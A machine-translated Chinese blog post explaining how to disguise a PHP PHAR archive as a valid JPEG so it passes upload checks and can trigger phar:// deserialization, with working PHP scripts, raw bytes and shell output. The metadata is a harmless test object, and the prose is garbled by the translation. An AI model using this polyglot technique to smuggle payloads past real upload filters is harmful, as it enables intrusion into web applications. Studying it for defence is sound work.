背景
在美国举办的BlackHat 2018期间,来自英国网络安全公司Secarma的研究总监Sam Thomas召开了一个关于在PHP中利用phar://流包装器(stream wrapper)在做事器上实行代码实行的会议。
一个PHP运用程序每每是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点PHP采取了PHAR文档文件格式,这个观点源自java的jar,但是在设计时紧张针对PHP的Web环境,与JAR归档不同的是PHAR归档可由PHP本身处理,因此不须要利用额外的工具来创建或利用,利用PHP脚本就能创建或提取它。PHAR是一个合成词,由PHP和Archive构成,可以看出它是PHP归档文件的意思。

在实行PHAR包时,PHP将反序列化其内容,许可攻击者启动PHP工具包含链。个中最有趣的部分是如何触发有效载荷,由于归档上的任何文件操作都将实行它。末了,不须要预测精确的文件名,由于纵然失落败的文件调用也须要PHP来反序列化内容。
其余,完备可以将PHAR包伪装成100%有效的图像。
在这篇文章中,我将先容伪装的详细过程。
降级至字节码级别
有时我们会忘却文件只是遵照预定义构造的一堆字节,但运用程序将检讨它们是否能够管理这样的数据流,如果能,它们将天生一个输出。
在演讲中,Thomas给出了一个关于如何创建具有有效JPEG标头的PHAR包的提示。
按着提示,我们要做的是创建一个具有JPEG标头的文件,并相应的更新PHAR校验和。通过这种办法,文件将被视为一个图像,但PHP还能够实行它。
如果你认为变动几个字节并更新校验和就可以轻松完成操作,那你就想得太大略了。
打算校验和(至少对我来说)是件痛楚的事情,然后我就想,如果我让PHP为我做这些事情呢?
以是我改编了Thomas在演讲中提到的做法,如下所示。
<?phpclass TestObject {} $phar = new Phar(\"大众phar.phar\"大众); $phar->startBuffering(); $phar->addFromString(\"大众test.txt\"大众,\公众test\公众); $phar->setStub(\"大众\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>\"大众); $o = new TestObject(); $phar->setMetadata($o); $phar->stopBuffering();
如你所见,我将原始HEX字节添加到PHAR归档的存根部分。以下便是原HEX结果:
tampe125@AlphaCentauri:~$ xxd phar.jpeg 00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_ 00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>.. 00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L............... 00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:\公众Test 00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object\"大众:0:{}.... 00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[ 00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~.......... 00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5. 00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB
它是一个有效的PHAR和JPEG图像吗?
tampe125@AlphaCentauri:~$ file phar.jpeg phar.jpeg: JPEG image data tampe125@AlphaCentauri:~$ php -a php > var_dump(mime_content_type('phar.jpeg')); php shell code:1: string(10) \"大众image/jpeg\"大众php > var_dump(file_exists('phar://phar.jpeg/test.txt')); php shell code:1: bool(true)
PHP将其识别为图像,但我仍旧可以看到归档上的内容。
请查看存根部分并把稳它是如何短缺开始的PHP标记的。这是大多数内容扫描器都无法看到的关键内容。要使归档有效,惟一须要的是__HALT_COMPILER()函数,我认为这被PHP用来表示它该当跳过多少数据。
我有一个文件,它可以通过任何基于文件标头的检讨,然而任何比它更繁芜的检讨都会失落败。例如,利用getimagesize检讨图像将返回false,由于图像必定是假造的。
tampe125@AlphaCentauri:~$ php -a php > var_dump(getimagesize('phar.jpeg')); php shell code:1: bool(false)
办理图像是假造的问题?
但我看到我可以在__HALT_COMPILER()标记之前插入我想要的任何乱码,试想,如果我用它来制作完全的图像,会怎么样呢?
在花了太多韶光来谈论JPEG规范和阅读PHP源代码后,我认为我可以大略的利用GIMP创建10×10玄色图像并嵌入个中。
<?phpclass TestObject {} $jpeg_header_size = \公众\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13\公众.\"大众\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02\"大众.\"大众\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15\公众.\"大众\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\"大众.\"大众\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\"大众.\"大众\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03\"大众.\公众\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11\"大众.\公众\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\"大众.\"大众\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01\"大众.\公众\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00\"大众.\"大众\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\"大众.\"大众\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9\公众; $phar = new Phar(\公众phar.phar\公众); $phar->startBuffering(); $phar->addFromString(\"大众test.txt\"大众,\"大众test\"大众); $phar->setStub($jpeg_header_size.\公众 __HALT_COMPILER(); ?>\公众); $o = new TestObject(); $phar->setMetadata($o); $phar->stopBuffering();
现在,检讨以下我的思考成果。
tampe125@AlphaCentauri:~$ file phar.jpeg phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: \"大众Created with GIMP\公众, progressive, precision 8, 10x10, frames 3tampe125@AlphaCentauri:~$ php -a php > var_dump(mime_content_type('phar.jpeg')); php shell code:1:string(10) \"大众image/jpeg\公众php > var_dump(file_exists('phar://phar.jpeg/test.txt')); php shell code:1:bool(true) php > var_dump(getimagesize('phar.jpeg')); php shell code:1: array(7) { [0] => int(10) [1] => int(10) [2] => int(2) [3] => string(22) \"大众width=\"大众10\"大众 height=\"大众10\公众\"大众 'bits' => int(8) 'channels' => int(3) 'mime' => string(10) \"大众image/jpeg\"大众}
果真,我的努力成功了。文件是一个PHAR包,包含了我想要利用的类,但它仍旧是一个有效的映像(它乃至可以通过系统映像查看器打开)。
总结
正如大家刚刚看到的那样,文件只是一堆字节,如果我所做的唯一检讨是基于它们的元数据,那必定会花太多韶光来谈论JPEG规范和阅读PHP源代码。末了,我创造利用核心函数来返回我想要的结果非常随意马虎:唯一的办理方案便是真正读取文件内容并搜索恶意字符串。